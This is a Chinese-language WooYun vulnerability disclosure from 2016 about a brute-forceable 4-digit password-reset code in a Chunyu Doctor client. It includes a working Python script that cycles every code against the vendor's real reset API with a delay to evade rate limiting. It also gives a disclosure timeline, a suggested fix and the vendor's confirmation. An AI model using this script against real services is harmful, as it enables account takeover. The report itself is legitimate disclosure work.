当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0172030

漏洞标题：春雨医生某客户端重置任意密码漏洞

相关厂商：春雨天下软件有限公司

漏洞作者： 想要减肥的胖纸

提交时间：2016-01-22 22:15

修复时间：2016-03-10 16:42

公开时间：2016-03-10 16:42

漏洞类型：设计缺陷/逻辑错误

危害等级：中

自评Rank：8

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-01-22： 细节已通知厂商并且等待厂商处理中
2016-01-27： 厂商已经确认，细节仅向厂商公开
2016-02-06： 细节向核心白帽子及相关领域专家公开
2016-02-16： 细节向普通白帽子公开
2016-02-26： 细节向实习白帽子公开
2016-03-10： 细节向公众公开

简要描述：

验证码只有4位，可暴力破解出来。

详细说明：

服务器端应该有设置并发数量，导致利用burp或者其他软件会提示503错误

QQ20160122-0@2x.png


通过自写代码，设置延迟100毫秒提交，可进行暴力破解

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import time
header = {
    "Content-Type": "application/x-www-form-urlencoded",
    "Accept": "*/*",
    "Connection": "keep-alive",
    "User-Agent": "ChunyuClinic/4.4.01228 (iPhone; iOS 9.2.1; Scale/3.00)",
    "Accept-Language": "zh-Hans-CN;q=1, en-CN;q=0.9",
    "Accept-Encoding": "gzip, deflate"
        }
url = 'http://api.chunyuyisheng.com//accounts/new_reset_password/?platform=iPhone&systemVer=9.2.1&version=4.4.0&vendor=ziyou&deviceModel=iPhone&build=4.4.01228&push_id=fd28d31fce54fffdddddda9efdec3e04611d1fe7d1a56ba457d1f8c64baa&device_id=497de98adasdasd121fafe49f0b6bd&app=1&client=DoctorClient'
for i in xrange(0,9999):
    code = '{0:04}'.format(i)
    payload = {'activation_num':code,'cellphone':'13901234567','password':'12345678@'}
    rs = requests.post(url,data=payload,headers=header)
    rs = rs.status_code
    #print rs
    
    if rs == 200:
        print code+"password change 12345678@"
    else:
        print rs
    time.sleep(0.1)

漏洞证明：

QQ20160122-1@2x.png


后来改了密码，不知道为何登录不上，换了个自己的手机号重新注册医生用户，然后尝试找回密码，成功。
如图

IMG_6701 2.PNG

修复方案：

限制验证码有效时间为5分钟内，验证码6位以上。

版权声明：转载请注明来源 想要减肥的胖纸@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2016-01-27 09:56

厂商回复：

已修复

最新状态：

暂无